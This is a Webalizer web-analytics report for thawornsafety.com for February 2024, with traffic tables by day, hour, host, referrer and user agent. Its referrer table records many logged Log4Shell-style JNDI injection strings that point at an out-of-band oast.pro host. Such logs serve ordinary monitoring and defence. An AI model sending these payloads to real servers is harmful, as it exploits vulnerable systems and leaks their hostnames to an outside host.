Statistics for thawornsafety.com

Summary Period: February 2024
Generated 01-Mar-2024 00:02 ICT


[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents]

Monthly Statistics for February 2024
Total Hits 35602
Total Files 31599
Total Pages 34422
Total Visits 1869
Total KBytes 8696
Total Unique Sites 558
Total Unique URLs 2
Total Unique Referrers 257
Total Unique User Agents 1105
. Avg Max
Hits per Hour 51 831
Hits per Day 1227 3783
Files per Day 1089 3721
Pages per Day 1186 3732
Sites per Day 19 58
Visits per Day 64 136
KBytes per Day 300 1007
Hits by Response Code
Code 200 - OK 88.76% 31599
Code 403 - Forbidden 2.20% 783
Code 404 - Not Found 9.04% 3220

Daily usage for February 2024

Daily Statistics for February 2024
Day Hits Files Pages Visits Sites KBytes
1 143 0.40% 127 0.40% 136 0.40% 50 2.68% 26 4.66% 5 0.06%
2 169 0.47% 150 0.47% 155 0.45% 55 2.94% 35 6.27% 15 0.17%
3 1920 5.39% 126 0.40% 1572 4.57% 53 2.84% 31 5.56% 387 4.45%
4 999 2.81% 140 0.44% 890 2.59% 57 3.05% 37 6.63% 192 2.20%
5 258 0.72% 128 0.41% 231 0.67% 50 2.68% 35 6.27% 31 0.35%
6 147 0.41% 130 0.41% 133 0.39% 51 2.73% 29 5.20% 9 0.10%
7 225 0.63% 137 0.43% 194 0.56% 41 2.19% 20 3.58% 27 0.31%
8 146 0.41% 120 0.38% 124 0.36% 45 2.41% 24 4.30% 9 0.10%
9 103 0.29% 79 0.25% 80 0.23% 31 1.66% 26 4.66% 8 0.09%
10 135 0.38% 118 0.37% 120 0.35% 43 2.30% 26 4.66% 6 0.07%
11 211 0.59% 171 0.54% 176 0.51% 53 2.84% 33 5.91% 27 0.31%
12 167 0.47% 131 0.41% 134 0.39% 56 3.00% 36 6.45% 14 0.16%
13 157 0.44% 135 0.43% 134 0.39% 47 2.51% 22 3.94% 12 0.13%
14 148 0.42% 129 0.41% 130 0.38% 49 2.62% 29 5.20% 10 0.11%
15 157 0.44% 136 0.43% 138 0.40% 41 2.19% 25 4.48% 11 0.13%
16 204 0.57% 155 0.49% 162 0.47% 43 2.30% 26 4.66% 23 0.26%
17 1285 3.61% 1244 3.94% 1246 3.62% 71 3.80% 47 8.42% 321 3.69%
18 1631 4.58% 1600 5.06% 1604 4.66% 132 7.06% 54 9.68% 416 4.78%
19 2160 6.07% 2133 6.75% 2146 6.23% 136 7.28% 35 6.27% 560 6.44%
20 2190 6.15% 2158 6.83% 2170 6.30% 96 5.14% 42 7.53% 576 6.62%
21 2367 6.65% 2315 7.33% 2320 6.74% 92 4.92% 47 8.42% 618 7.10%
22 2314 6.50% 2276 7.20% 2286 6.64% 80 4.28% 44 7.89% 603 6.93%
23 2356 6.62% 2314 7.32% 2318 6.73% 85 4.55% 51 9.14% 620 7.13%
24 2335 6.56% 2317 7.33% 2317 6.73% 91 4.87% 38 6.81% 610 7.02%
25 2454 6.89% 2341 7.41% 2422 7.04% 98 5.24% 58 10.39% 642 7.38%
26 2410 6.77% 2371 7.50% 2375 6.90% 76 4.07% 47 8.42% 632 7.27%
27 2388 6.71% 2346 7.42% 2352 6.83% 85 4.55% 37 6.63% 627 7.21%
28 2640 7.42% 2351 7.44% 2625 7.63% 93 4.98% 35 6.27% 682 7.84%
29 3783 10.63% 3721 11.78% 3732 10.84% 75 4.01% 42 7.53% 1007 11.58%

Hourly usage for February 2024

Hourly Statistics for February 2024
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 67 1965 5.52% 38 1106 3.50% 64 1860 5.40% 16 465 5.35%
1 51 1485 4.17% 45 1310 4.15% 50 1469 4.27% 12 347 3.99%
2 42 1218 3.42% 40 1176 3.72% 40 1179 3.43% 11 320 3.68%
3 50 1455 4.09% 47 1382 4.37% 48 1396 4.06% 12 335 3.86%
4 43 1263 3.55% 42 1246 3.94% 43 1248 3.63% 11 332 3.81%
5 48 1414 3.97% 47 1372 4.34% 47 1384 4.02% 11 328 3.77%
6 45 1318 3.70% 44 1277 4.04% 44 1292 3.75% 12 335 3.85%
7 45 1333 3.74% 44 1289 4.08% 44 1292 3.75% 12 337 3.87%
8 47 1388 3.90% 46 1358 4.30% 46 1358 3.95% 12 338 3.89%
9 47 1370 3.85% 46 1334 4.22% 46 1335 3.88% 12 339 3.90%
10 47 1385 3.89% 46 1343 4.25% 46 1357 3.94% 12 341 3.92%
11 46 1348 3.79% 45 1318 4.17% 45 1328 3.86% 12 334 3.85%
12 49 1445 4.06% 48 1398 4.42% 48 1408 4.09% 12 348 4.00%
13 47 1367 3.84% 46 1335 4.22% 46 1338 3.89% 12 346 3.98%
14 47 1391 3.91% 47 1366 4.32% 47 1367 3.97% 12 336 3.87%
15 46 1361 3.82% 44 1298 4.11% 45 1308 3.80% 12 352 4.05%
16 51 1481 4.16% 49 1428 4.52% 49 1433 4.16% 12 352 4.04%
17 46 1360 3.82% 45 1319 4.17% 45 1327 3.86% 12 352 4.05%
18 50 1470 4.13% 48 1414 4.47% 49 1433 4.16% 12 355 4.08%
19 70 2032 5.71% 46 1334 4.22% 64 1859 5.40% 17 492 5.66%
20 68 1985 5.58% 46 1361 4.31% 61 1781 5.17% 16 471 5.42%
21 55 1602 4.50% 44 1297 4.10% 54 1569 4.56% 13 390 4.48%
22 59 1716 4.82% 42 1244 3.94% 58 1691 4.91% 14 403 4.63%
23 50 1450 4.07% 44 1294 4.10% 48 1410 4.10% 12 348 4.00%

Top 2 of 2 Total URLs
# Hits KBytes URL
1 31593 88.74% 7854 90.32% /
2 6 0.02% 2 0.02% /.

Top 2 of 2 Total URLs By KBytes
# Hits KBytes URL
1 31593 88.74% 7854 90.32% /
2 6 0.02% 2 0.02% /.

Top 1 of 1 Total Entry Pages
# Hits Visits URL
1 31593 88.74% 1790 100.00% /

Top 1 of 1 Total Exit Pages
# Hits Visits URL
1 31593 88.74% 1788 100.00% /

Top 30 of 558 Total Sites
# Hits Files KBytes Visits Hostname
1 2604 7.31% 0 0.00% 559 6.42% 1 0.05% 137.220.197.141
2 2434 6.84% 2434 7.70% 668 7.69% 39 2.09% 147.45.123.121
3 2422 6.80% 2422 7.66% 665 7.65% 41 2.19% 5.8.15.148
4 2390 6.71% 2390 7.56% 656 7.55% 39 2.09% 147.45.123.34
5 2367 6.65% 2367 7.49% 650 7.48% 35 1.87% 5.8.14.38
6 2361 6.63% 2361 7.47% 648 7.46% 43 2.30% 147.45.120.106
7 2359 6.63% 2359 7.47% 648 7.45% 48 2.57% 147.45.122.242
8 2357 6.62% 2357 7.46% 647 7.44% 47 2.51% 5.8.14.190
9 2348 6.60% 2348 7.43% 645 7.42% 41 2.19% 5.8.13.194
10 2335 6.56% 2335 7.39% 641 7.37% 40 2.14% 188.119.126.30
11 2327 6.54% 2327 7.36% 639 7.35% 42 2.25% 5.8.15.82
12 2326 6.53% 2326 7.36% 639 7.35% 52 2.78% 5.8.15.53
13 1814 5.10% 1814 5.74% 498 5.72% 5 0.27% 46.22.51.77
14 1232 3.46% 1232 3.90% 0 0.00% 304 16.27% 5.101.47.173
15 941 2.64% 941 2.98% 0 0.00% 304 16.27% 185.170.10.187
16 867 2.44% 867 2.74% 0 0.00% 301 16.10% 152.228.218.191
17 275 0.77% 0 0.00% 59 0.67% 1 0.05% 51.15.17.105
18 172 0.48% 3 0.01% 36 0.41% 3 0.16% 216.244.66.235
19 77 0.22% 0 0.00% 17 0.19% 1 0.05% 104.234.53.156
20 50 0.14% 0 0.00% 11 0.12% 1 0.05% 15.235.145.161
21 41 0.12% 18 0.06% 10 0.11% 6 0.32% 157.90.209.76
22 27 0.08% 0 0.00% 5 0.06% 1 0.05% 20.168.122.4
23 24 0.07% 0 0.00% 5 0.06% 1 0.05% 45.131.195.102
24 21 0.06% 20 0.06% 6 0.07% 1 0.05% 1.14.96.192
25 21 0.06% 20 0.06% 6 0.07% 1 0.05% 119.45.114.138
26 21 0.06% 3 0.01% 5 0.06% 1 0.05% 128.199.181.140
27 21 0.06% 3 0.01% 5 0.06% 1 0.05% 139.162.33.229
28 21 0.06% 20 0.06% 6 0.07% 1 0.05% 14.18.110.73
29 21 0.06% 3 0.01% 5 0.06% 1 0.05% 152.42.162.237
30 21 0.06% 20 0.06% 6 0.07% 1 0.05% 182.43.31.128
View All Sites

Top 10 of 558 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 2434 6.84% 2434 7.70% 668 7.69% 39 2.09% 147.45.123.121
2 2422 6.80% 2422 7.66% 665 7.65% 41 2.19% 5.8.15.148
3 2390 6.71% 2390 7.56% 656 7.55% 39 2.09% 147.45.123.34
4 2367 6.65% 2367 7.49% 650 7.48% 35 1.87% 5.8.14.38
5 2361 6.63% 2361 7.47% 648 7.46% 43 2.30% 147.45.120.106
6 2359 6.63% 2359 7.47% 648 7.45% 48 2.57% 147.45.122.242
7 2357 6.62% 2357 7.46% 647 7.44% 47 2.51% 5.8.14.190
8 2348 6.60% 2348 7.43% 645 7.42% 41 2.19% 5.8.13.194
9 2335 6.56% 2335 7.39% 641 7.37% 40 2.14% 188.119.126.30
10 2327 6.54% 2327 7.36% 639 7.35% 42 2.25% 5.8.15.82

Top 30 of 257 Total Referrers
# Hits Referrer
1 8982 25.23% https://top-chat24.ru/
2 8965 25.18% https://vestnik-podmoskovya.ru/
3 8964 25.18% https://vavilon-service.ru/
4 4260 11.97% - (Direct Request)
5 1520 4.27% https://jester-soft.ws/
6 1520 4.27% https://softbesplatno.net/
7 469 1.32% https://24top-chat.ru/
8 460 1.29% https://wmusor.ru/
9 12 0.03% www.google.com
10 7 0.02% binance.com
11 2 0.01% https://imperya-sushi.ru/register#content\r
12 1 0.00% ${jndi:ldap://${:-793}${:-379}.${hostName}.referer.cmv7cjc3m87vv20b1vc017ddgx835so7n.oast.pro}
13 1 0.00% ${jndi:ldap://${:-793}${:-379}.${hostName}.referer.cmv7cjc3m87vv20b1vc05sa1hwujd7yct.oast.pro}
14 1 0.00% ${jndi:ldap://${:-793}${:-379}.${hostName}.referer.cmv7cjc3m87vv20b1vc0gu4h7qy8ci6ys.oast.pro}
15 1 0.00% ${jndi:ldap://${:-793}${:-379}.${hostName}.referer.cmv7cjc3m87vv20b1vc0j7gcp7y4m9pad.oast.pro}
16 1 0.00% ${jndi:ldap://${:-793}${:-379}.${hostName}.referer.cmv7cjc3m87vv20b1vc0jh38a8toc5pjf.oast.pro}
17 1 0.00% ${jndi:ldap://${:-793}${:-379}.${hostName}.referer.cmv7cjc3m87vv20b1vc0m8zgk6xw8ywk5.oast.pro}
18 1 0.00% ${jndi:ldap://${:-793}${:-379}.${hostName}.referer.cmv7cjc3m87vv20b1vc0nssk3w5eghb8a.oast.pro}
19 1 0.00% ${jndi:ldap://${:-793}${:-379}.${hostName}.referer.cmv7cjc3m87vv20b1vc0qjikimxdfxig8.oast.pro}
20 1 0.00% ${jndi:ldap://${:-793}${:-379}.${hostName}.referer.cmv7cjc3m87vv20b1vc0qmnywsp67ka4w.oast.pro}
21 1 0.00% ${jndi:ldap://${:-793}${:-379}.${hostName}.referer.cmv7cjc3m87vv20b1vc0r3uar17d8ipsp.oast.pro}
22 1 0.00% ${jndi:ldap://127.0.0.1#.${hostName}.referer.cmv7cjc3m87vv20b1vc03snjjqnnasckc.oast.pro}
23 1 0.00% ${jndi:ldap://127.0.0.1#.${hostName}.referer.cmv7cjc3m87vv20b1vc05otw7rj3ti1r4.oast.pro}
24 1 0.00% ${jndi:ldap://127.0.0.1#.${hostName}.referer.cmv7cjc3m87vv20b1vc06gh7z8p6w3a4z.oast.pro}
25 1 0.00% ${jndi:ldap://127.0.0.1#.${hostName}.referer.cmv7cjc3m87vv20b1vc07s9wrt1obh57c.oast.pro}
26 1 0.00% ${jndi:ldap://127.0.0.1#.${hostName}.referer.cmv7cjc3m87vv20b1vc081w76kdhztjhb.oast.pro}
27 1 0.00% ${jndi:ldap://127.0.0.1#.${hostName}.referer.cmv7cjc3m87vv20b1vc0f1ggk77epkxbw.oast.pro}
28 1 0.00% ${jndi:ldap://127.0.0.1#.${hostName}.referer.cmv7cjc3m87vv20b1vc0f6huftswm7bw9.oast.pro}
29 1 0.00% ${jndi:ldap://127.0.0.1#.${hostName}.referer.cmv7cjc3m87vv20b1vc0fe3fdyyqcfe6k.oast.pro}
30 1 0.00% ${jndi:ldap://127.0.0.1#.${hostName}.referer.cmv7cjc3m87vv20b1vc0ge3fqjkzqi9ou.oast.pro}
View All Referrers

Top 15 of 1105 Total User Agents
# Hits User Agent
1 3040 8.54% Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
2 293 0.82% Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.31
3 172 0.48% Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)
4 168 0.47% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
5 155 0.44% Go-http-client/1.1
6 120 0.34% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
7 113 0.32% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
8 112 0.31% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
9 108 0.30% ZoominfoBot (zoominfobot at zoominfo dot com)
10 107 0.30% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
11 107 0.30% Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)
12 105 0.29% Apache-HttpClient/4.5.2 (Java/1.8.0_151)
13 105 0.29% Apache-HttpClient/4.5.2 (Java/1.8.0_161)
14 102 0.29% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
15 100 0.28% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 OPR/74.0.
View All User Agents


Generated by Webalizer Version 2.20
Quick Help